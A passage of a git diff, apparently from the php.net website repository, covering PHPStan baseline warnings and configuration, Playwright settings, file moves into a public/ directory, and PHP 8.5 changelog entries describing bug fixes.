public/images/elephpants.php + + - + message: '#^Parameter \#1 \$string of function base64_encode expects string, string\|false given\.$#' + identifier: argument.type + count: 1 + path: public/images/elephpants.php + + - + message: '#^Function get_accepted_encodings\(\) has no return type specified\.$#' + identifier: missingType.return + count: 1 + path: public/images/logo.php + + - + message: '#^Function imgheader\(\) has no return type specified\.$#' + identifier: missingType.return + count: 1 + path: public/images/logo.php + + - + message: '#^Function imgheader\(\) has parameter \$filename with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: public/images/logo.php + + - + message: '#^Function serve_compressed_if_available\(\) has parameter \$logo with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: public/images/logo.php + + - + message: '#^Function branches_to_show\(\) has no return type specified\.$#' + identifier: missingType.return + count: 1 + path: public/images/supported-versions.php + + - + message: '#^Function date_horiz_coord\(\) has no return type specified\.$#' + identifier: missingType.return + count: 1 + path: public/images/supported-versions.php + + - + message: '#^Parameter \#1 \$object of function date_format expects DateTimeInterface, DateTime\|false given\.$#' + identifier: argument.type + count: 2 + path: public/index.php + + - + message: '#^Parameter \#2 \$timestamp of function gmdate expects int\|null, int\|false given\.$#' + identifier: argument.type + count: 1 + path: public/index.php + + - + message: '#^Variable \$CONF_TEASER might not be defined\.$#' + identifier: variable.undefined + count: 1 + path: public/index.php + + - + message: '#^Variable \$MYSITE might not be defined\.$#' + identifier: variable.undefined + count: 5 + path: public/index.php + + - + message: '#^Parameter \#2 \$timestamp of function gmdate expects int\|null, int\<0, max\>\|false given\.$#' + identifier: argument.type + count: 1 + path: public/js/search-index.php + + - + message: '#^Function output_lists_table\(\) has parameter \$mailing_lists with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: public/mailing-lists.php + + - + message: '#^Variable \$MYSITE might not be defined\.$#' + identifier: variable.undefined + count: 1 + path: public/mailing-lists.php + + - + message: '#^Variable \$LANG might not be defined\.$#' + identifier: variable.undefined + count: 1 + path: public/manual-lookup.php + + - + message: '#^Argument of an invalid type list\\|false supplied for foreach, only iterables are supported\.$#' + identifier: foreach.nonIterable + count: 1 + path: public/manual/add-note.php + + - + message: '#^Parameter \#4 \$ts of class phpweb\\UserNotes\\UserNote constructor expects string, int\<1, max\> given\.$#' + identifier: argument.type + count: 1 + path: public/manual/add-note.php + + - + message: '#^Variable \$LANG might not be defined\.$#' + identifier: variable.undefined + count: 1 + path: public/manual/index.php + + - + message: '#^Function gen_challenge\(\) has no return type specified\.$#' + identifier: missingType.return + count: 1 + path: public/manual/spam_challenge.php + + - + message: '#^Function gen_minus\(\) has no return type specified\.$#' + identifier: missingType.return + count: 1 + path: public/manual/spam_challenge.php + + - + message: '#^Function gen_minus\(\) has parameter \$a with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: public/manual/spam_challenge.php + + - + message: '#^Function gen_plus\(\) has no return type specified\.$#' + identifier: missingType.return + count: 1 + path: public/manual/spam_challenge.php + + - + message: '#^Function gen_plus\(\) has parameter \$a with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: public/manual/spam_challenge.php + + - + message: '#^Function minus\(\) has no return type specified\.$#' + identifier: missingType.return + count: 1 + path: public/manual/spam_challenge.php + + - + message: '#^Function minus\(\) has parameter \$a with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: public/manual/spam_challenge.php + + - + message: '#^Function minus\(\) has parameter \$b with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: public/manual/spam_challenge.php + + - + message: '#^Function plus\(\) has no return type specified\.$#' + identifier: missingType.return + count: 1 + path: public/manual/spam_challenge.php + + - + message: '#^Function plus\(\) has parameter \$a with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: public/manual/spam_challenge.php + + - + message: '#^Function plus\(\) has parameter \$b with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: public/manual/spam_challenge.php + + - + message: '#^Function print_infix\(\) has no return type specified\.$#' + identifier: missingType.return + count: 1 + path: public/manual/spam_challenge.php + + - + message: '#^Function print_infix\(\) has parameter \$a with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: public/manual/spam_challenge.php + + - + message: '#^Function print_infix\(\) has parameter \$b with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: public/manual/spam_challenge.php + + - + message: '#^Function print_infix\(\) has parameter \$name with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: public/manual/spam_challenge.php + + - + message: '#^Function print_prefix\(\) has no return type specified\.$#' + identifier: missingType.return + count: 1 + path: public/manual/spam_challenge.php + + - + message: '#^Function print_prefix\(\) has parameter \$a with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: public/manual/spam_challenge.php + + - + message: '#^Function print_prefix\(\) has parameter \$b with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: public/manual/spam_challenge.php + + - + message: '#^Function print_prefix\(\) has parameter \$name with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: public/manual/spam_challenge.php + + - + message: '#^Function test_answer\(\) has no return type specified\.$#' + identifier: missingType.return + count: 1 + path: public/manual/spam_challenge.php + + - + message: '#^Function test_answer\(\) has parameter \$an with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: public/manual/spam_challenge.php + + - + message: '#^Function test_answer\(\) has parameter \$answer with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: public/manual/spam_challenge.php + + - + message: '#^Function test_answer\(\) has parameter \$bn with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: public/manual/spam_challenge.php + + - + message: '#^Function test_answer\(\) has parameter \$name with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: public/manual/spam_challenge.php + + - + message: '#^Variable \$N might not be defined\.$#' + identifier: variable.undefined + count: 1 + path: public/manual/vote-note.php + + - + message: '#^Variable \$LAST_UPDATED might not be defined\.$#' + identifier: variable.undefined + count: 1 + path: public/mirror-info.php + + - + message: '#^Variable \$MYSITE might not be defined\.$#' + identifier: variable.undefined + count: 1 + path: public/mirror-info.php + + - + message: '#^Variable \$LAST_UPDATED might not be defined\.$#' + identifier: variable.undefined + count: 1 + path: public/mirror.php + + - + message: '#^Variable \$MYSITE might not be defined\.$#' + identifier: variable.undefined + count: 1 + path: public/mirror.php + + - + message: '#^Variable \$MIRRORS might not be defined\.$#' + identifier: variable.undefined + count: 1 + path: public/my.php + + - + message: '#^Variable \$userPreferences might not be defined\.$#' + identifier: variable.undefined + count: 11 + path: public/my.php + + - + message: '#^Offset ''format'' on non\-empty\-array\ on left side of \?\? always exists and is not nullable\.$#' + identifier: nullCoalesce.offset + count: 1 + path: public/pre-release-builds.php + + - + message: '#^Parameter \#1 \$version1 of function version_compare expects string, TKey of int\|string given\.$#' + identifier: argument.type + count: 1 + path: public/pre-release-builds.php + + - + message: '#^Parameter \#2 \$timestamp of function date expects int\|null, int\<0, max\>\|false given\.$#' + identifier: argument.type + count: 1 + path: public/pre-release-builds.php + + - + message: '#^Parameter \#2 \$version2 of function version_compare expects string, TKey of int\|string given\.$#' + identifier: argument.type + count: 1 + path: public/pre-release-builds.php + + - + message: '#^Ternary operator condition is always true\.$#' + identifier: ternary.alwaysTrue + count: 1 + path: public/pre-release-builds.php + + - + message: '#^Variable \$QA_CHECKSUM_TYPES might not be defined\.$#' + identifier: variable.undefined + count: 1 + path: public/pre-release-builds.php + + - + message: '#^Variable \$QA_RELEASES might not be defined\.$#' + identifier: variable.undefined + count: 1 + path: public/pre-release-builds.php + + - + message: '#^Function quickref_table\(\) has parameter \$functions with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: public/quickref.php + + - + message: '#^Function quickref_table\(\) has parameter \$sort with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: public/quickref.php + + - + message: '#^Parameter \#1 \$dir_handle of function closedir expects resource\|null, resource\|false given\.$#' + identifier: argument.type + count: 1 + path: public/quickref.php + + - + message: '#^Parameter \#1 \$dir_handle of function readdir expects resource\|null, resource\|false given\.$#' + identifier: argument.type + count: 1 + path: public/quickref.php + + - + message: '#^Variable \$LANG might not be defined\.$#' + identifier: variable.undefined + count: 1 + path: public/quickref.php + + - + message: '#^Function formatDate\(\) has no return type specified\.$#' + identifier: missingType.return + count: 1 + path: public/releases/branches.php + + - + message: '#^Function formatDate\(\) has parameter \$date with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: public/releases/branches.php + + - + message: '#^Parameter \#1 \.\.\.\$arg1 of function max expects non\-empty\-array, 0\|list\<\(int\|false\)\> given\.$#' + identifier: argument.type + count: 1 + path: public/releases/feed.php + + - + message: '#^Parameter \#1 \.\.\.\$arg1 of function max expects non\-empty\-array, list\<\(int\|false\)\> given\.$#' + identifier: argument.type + count: 1 + path: public/releases/feed.php + + - + message: '#^Variable \$RELEASES might not be defined\.$#' + identifier: variable.undefined + count: 1 + path: public/releases/feed.php + + - + message: '#^Function mk_rel\(\) has parameter \$announcement with no value type specified in iterable type array\.$#' + identifier: missingType.iterableValue + count: 1 + path: public/releases/index.php + + - + message: '#^Function mk_rel\(\) has parameter \$source with no value type specified in iterable type array\.$#' + identifier: missingType.iterableValue + count: 1 + path: public/releases/index.php + + - + message: '#^Function mk_rel\(\) has parameter \$windows with no value type specified in iterable type array\.$#' + identifier: missingType.iterableValue + count: 1 + path: public/releases/index.php + + - + message: '#^Parameter \#1 \.\.\.\$arg1 of function max expects non\-empty\-array, list\ given\.$#' + identifier: argument.type + count: 1 + path: public/releases/index.php + + - + message: '#^Variable \$OLDRELEASES might not be defined\.$#' + identifier: variable.undefined + count: 3 + path: public/releases/index.php + + - + message: '#^Variable \$RELEASES might not be defined\.$#' + identifier: variable.undefined + count: 2 + path: public/releases/index.php + + - + message: '#^Function formatDate\(\) has no return type specified\.$#' + identifier: missingType.return + count: 1 + path: public/releases/states.php + + - + message: '#^Function formatDate\(\) has parameter \$date with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: public/releases/states.php + + - + message: '#^Variable \$LANG might not be defined\.$#' + identifier: variable.undefined + count: 2 + path: public/search.php + + - + message: '#^Variable \$MYSITE might not be defined\.$#' + identifier: variable.undefined + count: 3 + path: public/search.php + + - + message: '#^Cannot access offset ''host'' on array\{scheme\?\: string, host\?\: string, port\?\: int\<0, 65535\>, user\?\: string, pass\?\: string, path\?\: string, query\?\: string, fragment\?\: string\}\|false\.$#' + identifier: offsetAccess.nonOffsetAccessible + count: 1 + path: public/submit-event.php + + - + message: '#^Function display_options\(\) has parameter \$current with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: public/submit-event.php + + - + message: '#^Function display_options\(\) has parameter \$options with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: public/submit-event.php + + - + message: '#^Offset ''scheme'' might not exist on array\{scheme\?\: string, host\: non\-falsy\-string, port\?\: int\<0, 65535\>, user\?\: string, pass\?\: string, path\?\: string, query\?\: string, fragment\?\: string\}\.$#' + identifier: offsetAccess.notFound + count: 1 + path: public/submit-event.php + + - + message: '#^Parameter \#2 \$timestamp of function date expects int\|null, int\|false given\.$#' + identifier: argument.type + count: 2 + path: public/submit-event.php + + - + message: '#^Variable \$COUNTRIES might not be defined\.$#' + identifier: variable.undefined + count: 1 + path: public/submit-event.php + + - + message: '#^Parameter \#1 \$string of function htmlspecialchars expects string, float\|string given\.$#' + identifier: argument.type + count: 1 + path: public/supported-versions.php + + - + message: '#^Possibly invalid array key type float\|string\.$#' + identifier: offsetAccess.invalidOffset + count: 1 + path: public/supported-versions.php + + - + message: '#^Variable \$COUNTRIES might not be defined\.$#' + identifier: variable.undefined + count: 1 + path: public/thanks.php + + - + message: '#^Variable \$historical_mirrors might not be defined\.$#' + identifier: variable.undefined + count: 1 + path: public/thanks.php + + - + message: '#^Function a\(\) has parameter \$href with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: public/urlhowto.php + + - + message: '#^Variable \$MYSITE might not be defined\.$#' + identifier: variable.undefined + count: 19 + path: public/urlhowto.php + + - + message: '#^Method phpweb\\LangChooser\:\:chooseCode\(\) has parameter \$langParam with no value type specified in iterable type array\.$#' + identifier: missingType.iterableValue + count: 1 + path: src/LangChooser.php + + - + message: '#^Method phpweb\\News\\Entry\:\:ce\(\) has no return type specified\.$#' + identifier: missingType.return + count: 1 + path: src/News/Entry.php + + - + message: '#^Method phpweb\\News\\Entry\:\:ce\(\) has parameter \$attrs with no value type specified in iterable type array\.$#' + identifier: missingType.iterableValue + count: 1 + path: src/News/Entry.php + + - + message: '#^Method phpweb\\News\\Entry\:\:ce\(\) has parameter \$value with no type specified\.$#' + identifier: missingType.parameter + count: 1 + path: src/News/Entry.php + + - + message: '#^Method phpweb\\News\\Entry\:\:setCategories\(\) has parameter \$cats with no value type specified in iterable type array\.$#' + identifier: missingType.iterableValue + count: 1 + path: src/News/Entry.php + + - + message: '#^Property phpweb\\News\\Entry\:\:\$categories has no type specified\.$#' + identifier: missingType.property + count: 1 + path: src/News/Entry.php + + - + message: '#^Property phpweb\\News\\Entry\:\:\$conf_time has no type specified\.$#' + identifier: missingType.property + count: 1 + path: src/News/Entry.php + + - + message: '#^Property phpweb\\News\\Entry\:\:\$content has no type specified\.$#' + identifier: missingType.property + count: 1 + path: src/News/Entry.php + + - + message: '#^Property phpweb\\News\\Entry\:\:\$id has no type specified\.$#' + identifier: missingType.property + count: 1 + path: src/News/Entry.php + + - + message: '#^Property phpweb\\News\\Entry\:\:\$image has no type specified\.$#' + identifier: missingType.property + count: 1 + path: src/News/Entry.php + + - + message: '#^Property phpweb\\News\\Entry\:\:\$title has no type specified\.$#' + identifier: missingType.property + count: 1 + path: src/News/Entry.php + + - + message: '#^Call to function is_array\(\) with null will always evaluate to false\.$#' + identifier: function.impossibleType + count: 1 + path: src/News/NewsHandler.php + + - + message: '#^Method phpweb\\News\\NewsHandler\:\:getLastestNews\(\) return type has no value type specified in iterable type array\.$#' + identifier: missingType.iterableValue + count: 1 + path: src/News/NewsHandler.php + + - + message: '#^Method phpweb\\News\\NewsHandler\:\:getPregeneratedNews\(\) return type has no value type specified in iterable type array\.$#' + identifier: missingType.iterableValue + count: 1 + path: src/News/NewsHandler.php + + - + message: '#^Method phpweb\\Themes\\FeatureComparison\:\:__construct\(\) has parameter \$links with no value type specified in iterable type array\.$#' + identifier: missingType.iterableValue + count: 1 + path: src/Themes/FeatureComparison.php + + - + message: '#^Method phpweb\\Themes\\ReleasePage\:\:getCodeBlock\(\) has parameter \$links with no value type specified in iterable type array\.$#' + identifier: missingType.iterableValue + count: 1 + path: src/Themes/ReleasePage.php + + - + message: '#^Offset 2 might not exist on array\{\}\|array\{non\-empty\-string, string, string, non\-empty\-string\}\.$#' + identifier: offsetAccess.notFound + count: 1 + path: src/Themes/ReleasePage.php + + - + message: '#^Offset 3 might not exist on array\{\}\|array\{non\-empty\-string, string, string, non\-empty\-string\}\.$#' + identifier: offsetAccess.notFound + count: 1 + path: src/Themes/ReleasePage.php + + - + message: '#^Method phpweb\\UserNotes\\Sorter\:\:calcSortPriority\(\) return type has no value type specified in iterable type array\.$#' + identifier: missingType.iterableValue + count: 1 + path: src/UserNotes/Sorter.php + + - + message: '#^Property phpweb\\UserNotes\\Sorter\:\:\$ageFactor has no type specified\.$#' + identifier: missingType.property + count: 1 + path: src/UserNotes/Sorter.php + + - + message: '#^Property phpweb\\UserNotes\\Sorter\:\:\$ageWeight has no type specified\.$#' + identifier: missingType.property + count: 1 + path: src/UserNotes/Sorter.php + + - + message: '#^Property phpweb\\UserNotes\\Sorter\:\:\$maxAge has no type specified\.$#' + identifier: missingType.property + count: 1 + path: src/UserNotes/Sorter.php + + - + message: '#^Property phpweb\\UserNotes\\Sorter\:\:\$maxVote has no type specified\.$#' + identifier: missingType.property + count: 1 + path: src/UserNotes/Sorter.php + + - + message: '#^Property phpweb\\UserNotes\\Sorter\:\:\$minAge has no type specified\.$#' + identifier: missingType.property + count: 1 + path: src/UserNotes/Sorter.php + + - + message: '#^Property phpweb\\UserNotes\\Sorter\:\:\$minVote has no type specified\.$#' + identifier: missingType.property + count: 1 + path: src/UserNotes/Sorter.php + + - + message: '#^Property phpweb\\UserNotes\\Sorter\:\:\$ratingWeight has no type specified\.$#' + identifier: missingType.property + count: 1 + path: src/UserNotes/Sorter.php + + - + message: '#^Property phpweb\\UserNotes\\Sorter\:\:\$voteFactor has no type specified\.$#' + identifier: missingType.property + count: 1 + path: src/UserNotes/Sorter.php + + - + message: '#^Property phpweb\\UserNotes\\Sorter\:\:\$voteWeight has no type specified\.$#' + identifier: missingType.property + count: 1 + path: src/UserNotes/Sorter.php + + - + message: '#^Offset 0 on non\-empty\-list\ on left side of \?\? always exists and is not nullable\.$#' + identifier: nullCoalesce.offset + count: 1 + path: src/UserPreferences.php + + - + message: '#^Parameter \#1 \$search of function str_replace expects array\\|string, string\|false given\.$#' + identifier: argument.type + count: 1 + path: tests/EndToEnd/SmokeTest.php + + - + message: '#^Parameter \#2 \$options of function curl_setopt_array expects array\{19913\: bool, 10002\: non\-empty\-string\}, array\{19913\: true, 10002\: string\} given\.$#' + identifier: argument.type + count: 1 + path: tests/EndToEnd/SmokeTest.php + + - + message: '#^Parameter \#3 \$subject of function str_replace expects array\\|string, list\\|false given\.$#' + identifier: argument.type + count: 1 + path: tests/EndToEnd/SmokeTest.php + + - + message: '#^Method phpweb\\Test\\Unit\\I18n\\LanguagesTest\:\:languageCodeProvider\(\) return type has no value type specified in iterable type iterable\.$#' + identifier: missingType.iterableValue + count: 1 + path: tests/Unit/I18n/LanguagesTest.php + + - + message: '#^Argument of an invalid type list\\|false supplied for foreach, only iterables are supported\.$#' + identifier: foreach.nonIterable + count: 1 + path: tests/Unit/UserNotes/SorterTest.php + + - + message: '#^Call to static method PHPUnit\\Framework\\Assert\:\:assertSame\(\) with array\{110464\: array\{downvotes\: 2, id\: ''110464'', ts\: ''1351105628'', upvotes\: 10\}, 93816\: array\{downvotes\: 1, id\: ''93816'', ts\: ''1254343074'', upvotes\: 4\}, 92849\: array\{downvotes\: 1, id\: ''92849'', ts\: ''1249997359'', upvotes\: 4\}, 70394\: array\{downvotes\: 3, id\: ''70394'', ts\: ''1160823504'', upvotes\: 7\}, 106407\: array\{downvotes\: 2, id\: ''106407'', ts\: ''1320695958'', upvotes\: 5\}, 87868\: array\{downvotes\: 2, id\: ''87868'', ts\: ''1230396484'', upvotes\: 5\}, 82229\: array\{downvotes\: 1, id\: ''82229'', ts\: ''1207066654'', upvotes\: 3\}, 80363\: array\{downvotes\: 1, id\: ''80363'', ts\: ''1200066332'', upvotes\: 3\}, \.\.\.\} and array\ will always evaluate to false\.$#' + identifier: staticMethod.impossibleType + count: 1 + path: tests/Unit/UserNotes/SorterTest.php + + - + message: '#^Call to static method PHPUnit\\Framework\\Assert\:\:assertSame\(\) with array\{2\: array\{downvotes\: 3, id\: ''3'', ts\: ''1508179844'', upvotes\: 14\}, 3\: array\{downvotes\: 3, id\: ''4'', ts\: ''1508179844'', upvotes\: 14\}, 1\: array\{downvotes\: 0, id\: ''2'', ts\: ''1508180150'', upvotes\: 0\}, 0\: array\{downvotes\: 2, id\: ''1'', ts\: ''1613487094'', upvotes\: 0\}\} and array\ will always evaluate to false\.$#' + identifier: staticMethod.impossibleType + count: 1 + path: tests/Unit/UserNotes/SorterTest.php + + - + message: '#^Call to static method PHPUnit\\Framework\\Assert\:\:assertSame\(\) with array\{array\{downvotes\: 0, id\: ''1'', ts\: ''1613487094'', upvotes\: 0\}\} and array\ will always evaluate to false\.$#' + identifier: staticMethod.impossibleType + count: 1 + path: tests/Unit/UserNotes/SorterTest.php + + - + message: '#^Method phpweb\\Test\\Unit\\UserNotes\\SorterTest\:\:normalize\(\) return type has no value type specified in iterable type array\.$#' + identifier: missingType.iterableValue + count: 1 + path: tests/Unit/UserNotes/SorterTest.php + + - + message: '#^Parameter \#1 \$notes of method phpweb\\UserNotes\\Sorter\:\:sort\(\) expects array\, array\ given\.$#' + identifier: argument.type + count: 2 + path: tests/Unit/UserNotes/SorterTest.php + + - + message: '#^Parameter \#6 \$text of class phpweb\\UserNotes\\UserNote constructor expects string, string\|false given\.$#' + identifier: argument.type + count: 1 + path: tests/Unit/UserNotes/SorterTest.php diff --git a/phpstan.neon.dist b/phpstan.neon.dist new file mode 100644 index 0000000000..7dd8e0ad29 --- /dev/null +++ b/phpstan.neon.dist @@ -0,0 +1,21 @@ +includes: + - phpstan-baseline.neon + +parameters: + level: 7 + paths: + - . + + fileExtensions: + - php + - inc + + excludePaths: + analyse: + - vendor/ + - include/download-instructions/ + - var/ (?) + - public/manual/en + - include/releases.inc + - public/include/pregen-news.inc + - public/include/pregen-confs.inc diff --git a/playwright.config.ts b/playwright.config.ts index 20e28bf564..a138099278 100644 --- a/playwright.config.ts +++ b/playwright.config.ts @@ -14,6 +14,11 @@ export default defineConfig({ workers: process.env.CI ? 1 : undefined, /* Reporter to use. See https://playwright.dev/docs/test-reporters */ reporter: 'html', + expect: { + toHaveScreenshot: { + animations: 'disabled', + }, + }, /* Shared settings for all the projects below. See https://playwright.dev/docs/api/class-testoptions. */ use: { /* Base URL to use in actions like `await page.goto('/')`. */ @@ -22,14 +27,9 @@ export default defineConfig({ /* Collect trace when retrying the failed test. See https://playwright.dev/docs/trace-viewer */ trace: 'on-first-retry', }, - timeout: 0, + timeout: 120_000, projects: [ - { - name: 'chromium', - use: {...devices['Desktop Chrome']}, - testDir: './tests/Visual', - }, { name: 'End-to-End Chromium', use: {...devices['Desktop Chrome']}, diff --git a/.htaccess b/public/.htaccess similarity index 100% rename from .htaccess rename to public/.htaccess diff --git a/.router.php b/public/.router.php similarity index 67% rename from .router.php rename to public/.router.php index c204ce635e..c54817433e 100644 --- a/.router.php +++ b/public/.router.php @@ -1,10 +1,14 @@
  • GD:
      -
    • (efree() on uninitialized Heap data in imagescale leads to +
    • (efree() on uninitialized Heap data in imagescale leads to use-after-free). (CVE-2016-10166)
    • (imagecolormatch Out Of Bounds Write on Heap). (CVE-2019-6977)
  • diff --git a/ChangeLog-7.php b/public/ChangeLog-7.php similarity index 99% rename from ChangeLog-7.php rename to public/ChangeLog-7.php index 1cadc9b673..549a3ecb17 100644 --- a/ChangeLog-7.php +++ b/public/ChangeLog-7.php @@ -1,7 +1,7 @@ -
    -

    Version 8.5.3

    - +
    +

    Version 8.5.12

    +
    • Core:
        -
      • Fixed bug (preserve_none feature compatiblity with LTO).
      • -
      • Fixed bug (build failure with musttail/preserve_none feature on macOs).
      • -
      • Fixed bug (NULL dereference when calling ob_start() in shutdown function triggered by bailout in php_output_lock_error()).
      • -
      • Fix OSS-Fuzz #471533782 (Infinite loop in GC destructor fiber).
      • -
      • Fix OSS-Fuzz #472563272 (Borked block_pass JMP[N]Z optimization).
      • -
      • Fixed bug (Internal enums can be cloned and compared).
      • -
      • Fix OSS-Fuzz #474613951 (Leaked parent property default value).
      • -
      • Fixed bug (ReflectionProperty does not return the PHPDoc of a property if it contains an attribute with a Closure).
      • -
      • Fixed bug (Use-after-free in FE_FREE with GC interaction).
      • -
      • Fix OSS-Fuzz #471486164 (Broken by-ref assignment to uninitialized hooked backing value).
      • -
      • Fix OSS-Fuzz #438780145 (Nested finally with repeated return type check may uaf).
      • -
      • Fixed bug (Lazy proxy bailing __clone assertion).
      • -
      • Fixed bug (Hooked object properties overflow).
      • +
      • Fixed , (Avoid state corruption via bailout).
      • +
      • Fixed bug (Optimizer leaves a constant-vs-constant comparison unfolded, crashing the VM in zval_undefined_cv).
      • +
      • Fixed OSS-Fuzz 532353396 (assertion failure with static type).
      • +
      • Fix (Avoid NAN warning in print_r()).
      • +
      • Fix : GC inconsistency with lazy object, var_dump(), and object comparison.
      • +
      • Fixed OSS-Fuzz #536440507 (Immutable class incorrect assertion).
      • +
      • Fixed AVX being reported as supported when the OS has not enabled AVX state.
      • +
      • Fixed (ZEND_ASSERT violation @ ZEND_INCLUDE_OR_EVAL).
      • +
      • Fixed use-after-free when a dl()-loaded extension declares a frameless function and a later request calls it.
      • +
      • Fixed System V shared memory emulation for Windows attaching segments past the end of their mapping.
      • +
      • Fixed exception thrown by destructor during GC in a Fiber not being rethrown into the frame that triggered the GC.
    • -
    • Date: +
    • BCMath:
        -
      • Update timelib to 2022.16.
      • +
      • Fixed BcMath\Number results that truncate to zero keeping a negative sign and comparing less than zero.
      • +
    • +
    • BZ2: +
        +
      • Fixed double close of the descriptor and use-after-free of the inner stream when bzopen() is given a stream resource.
      • +
    • +
    • CLI: +
        +
      • Fix (Windows ZTS CLI SAPI should refresh its TSRMLS cache during request activation).
      • +
      • Fixed bug (Built-in server leaks a file descriptor on every HEAD request for a static file).
      • +
      • Fixed crash in the built-in server when a client is reset before being accepted.
      • +
      • Fixed the built-in server truncating an error page and leaking its unsent part after a partial socket write.
    • DOM:
        -
      • Fixed (Dom\HTMLDocument corrupts closing tags within scripts).
      • +
      • Fixed use-after-free when re-constructing a DOMXPath whose php:function registrations are freed while still reachable from the cycle collector.
      • +
      • Fixed Dom\HTMLDocument::getElementById() not finding ids of SVG and MathML elements.
      • +
      • Fixed Dom\HTMLDocument giving attributes the namespace of their element when a fragment is parsed with an xlink, xml or xmlns context element.
      • +
      • Fixed bug (Dom\HTMLCollection::namedItem() assertion failure, hang, or missed first element).
      • +
      • Fixed DOMXPath and Dom\XPath losing the context node and in-scope namespaces of an evaluation after a php:function() callback evaluated another expression on the same object.
    • -
    • MbString: +
    • FFI:
        -
      • Fixed bug (mb_str_pad() divide by zero if padding string is invalid in the encoding).
      • -
      • Fixed bug (Stack overflow in mb_convert_variables with recursive array references).
      • +
      • Fixed crashes with FFI callbacks created from __call() trampolines and array callables whose object is released.
      • +
    • +
    • FTP: +
        +
      • Fixed bug (cryptic error on servers that don't support TLS session resumption on data connection).
      • +
    • +
    • GD: +
        +
      • Fixed undefined behavior with GD2 images with `INT_MAX`-sized chunks.
      • +
      • Fixed undefined behavior with GIFs with problematic LZW compression data.
      • +
    • +
    • Intl: +
        +
      • Fixed cloning IntlDateFormatter and MessageFormatter losing PHP-side state such as dateType, timeType, calendar and the message pattern.
      • +
      • Fixed a crash when converting with a cloned UConverter that uses toUCallback/fromUCallback.
      • +
      • Fixed Collator attribute and strength methods not rejecting an unconstructed Collator.
      • +
      • Fixed crash in intl_error_set_custom_msg() without an active call frame.
      • +
      • Fixed grapheme_strstr() and grapheme_stristr() returning incorrect substrings when supplementary characters precede the match.
      • +
      • Fixed grapheme_strstr() and grapheme_strpos() missing canonically equivalent matches, and grapheme searches reporting ICU errors for empty haystacks.
      • +
      • Fixed grapheme_strrpos() and grapheme_strripos() skipping overlapping matches when using a negative offset.
      • +
      • Fixed IntlDateFormatter::parse(), localtime() and parseToCalendar() treating the offset as UTF-16 code units instead of bytes.
      • +
    • +
    • Lexbor: +
        +
      • Merge patches lexbor/lexbor@8a14bc0 and lexbor/lexbor@f67ce4b, fixing a heap buffer overflow in :lexbor-contains() parsing and buffer overflows in malformed decode replay.
      • +
      • Merge patches lexbor/lexbor@859f100, lexbor/lexbor@a36e09a, lexbor/lexbor@b0f7412, lexbor/lexbor@1b215a8, lexbor/lexbor@385afff, lexbor/lexbor@e6c068f, lexbor/lexbor@327a8b6, lexbor/lexbor@917742f and lexbor/lexbor@e89c258, fixing dropped usernames containing an at sign, uninitialized memory in IDNA buffer growth, the encoding of a space before a query or fragment in an opaque path, a query or fragment lost after a dot segment in a path, replacement file drive paths, the output encoding used for percent-encoding, the URLSearchParams tail pointer and fragment serialization without a query.
      • +
    • +
    • MBString: +
        +
      • Fixed bug (mb_strpos() reads past the end of a haystack ending in a truncated UTF-8 sequence).
      • +
      • Fixed mbstring functions emitting surrogates in UTF-8 output and flagging it as valid UTF-8.
      • +
    • +
    • MySQLi: +
        +
      • Fix : Fixed failed assertion when accessing mysqli property after failed reconnection.
      • +
    • +
    • MySQLnd: +
        +
      • Fixed field_count not resetting on OK packet.
      • +
      • Fixed memory leak when closing a prepared statement after its connection was killed.
    • Opcache:
        -
      • Fixed bug (Segfault in Tracing JIT with object reference).
      • +
      • Fixed OSS-Fuzz #546798343 (Heap-buffer-overflow in optimizer with FCCs and inlining).
      • +
      • Fixed bug (Tracing JIT produces wrong results for a guard on a loop-invariant addition).
      • +
      • Fixed OSS-Fuzz #5674034779193344 (Read of uninitialized memory in is_cacheable_stream_path()).
      • +
      • Fix zend_analyze_calls() call_stack buffer overrun.
      • +
      • Fixed bug (Tracing JIT reads undefined property slots of lazy proxy objects instead of forwarding to the real instance).
      • +
      • Fixed bug (Tracing JIT writes a parent private property into a child's shadowing public property).
      • +
      • Fix multiple incorrect DCE due to unsound escape analysis.
      • +
      • Fixed bug (OPcache optimizer folds `$cond ? -0.0 : 0.0` into a single `-0.0` constant).
      • +
      • Fixed crash when a file cache is reused with a different set of extensions declaring frameless functions.
      • +
      • Fixed bug (JIT generates invalid IR for multiple recursive calls).
      • +
      • Fix SCCP evaluation of isset()/empty() on dimension of non-escaping object.
      • +
      • Fixed bug (Segfault in zval_undefined_cv with non-simple property hook with minimal tracing JIT).
    • OpenSSL:
        -
      • Fix memory leaks when sk_X509_new_null() fails.
      • -
      • Fix crash when in openssl_x509_parse() when i2s_ASN1_INTEGER() fails.
      • -
      • Fix crash in openssl_x509_parse() when X509_NAME_oneline() fails.
      • +
      • Fixed stream_socket_enable_crypto() leaving the socket non-blocking after a handshake timeout.
      • +
      • Fixed feof() on a TLS stream staying false after a close_notify on Windows.
    • -
    • Phar: +
    • PCNTL:
        -
      • Fixed bug (buildFromIterator breaks with missing base directory).
      • +
      • Fixed pcntl_signal_dispatch() dropping the queued signals when it runs while an exception is pending.
      • +
      • Fixed pcntl_signal_dispatch() dropping the signals queued behind a handler that throws.
      • +
      • Fixed bug (/proc/self paths resolve to the parent process after pcntl_fork()).
      • +
    • +
    • PDO: +
        +
